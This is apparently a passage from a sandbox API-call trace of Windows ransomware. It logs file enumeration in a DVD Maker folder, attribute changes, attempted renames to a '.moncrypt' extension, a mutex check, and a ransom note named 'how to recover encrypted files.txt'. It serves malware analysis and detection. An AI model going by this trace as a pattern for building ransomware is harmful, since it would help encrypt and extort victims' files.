lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", cchWideChar=79, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 79 [0057.367] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\circleround_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 0x54e240 [0057.367] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.367] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.367] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.367] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", dwFileAttributes=0x20) returned 0 [0057.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.369] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.moncrypt")) returned 0 [0057.369] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0057.369] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.369] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.369] GlobalLock (hMem=0x440004) returned 0x550170 [0057.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.369] GlobalUnlock (hMem=0x440004) returned 0 [0057.369] GlobalLock (hMem=0x440004) returned 0x550170 [0057.369] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.369] GlobalUnlock (hMem=0x440004) returned 0 [0057.369] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.369] GlobalUnlock (hMem=0x44000c) returned 0 [0057.369] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.370] CharLowerBuffW (in: lpsz="circleround_videoinset.png", cchLength=0x1a | out: lpsz="circleround_videoinset.png") returned 0x1a [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", cchWideChar=70, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.pngc", lpUsedDefaultChar=0x0) returned 70 [0057.371] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\circleround_videoinset.pngc", lpUsedDefaultChar=0x0) returned 4 [0057.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 0x54e240 [0057.371] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.371] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.371] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.371] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", dwFileAttributes=0x20) returned 0 [0057.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.372] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.moncrypt")) returned 0 [0057.372] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.372] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.372] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.372] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.372] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.372] GlobalUnlock (hMem=0x44000c) returned 0 [0057.372] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.372] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.372] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.372] GlobalUnlock (hMem=0x44000c) returned 0 [0057.373] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.373] GlobalUnlock (hMem=0x440004) returned 0 [0057.373] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.373] CharLowerBuffW (in: lpsz="Circle_ButtonGraphic.png", cchLength=0x18 | out: lpsz="circle_buttongraphic.png") returned 0x18 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, 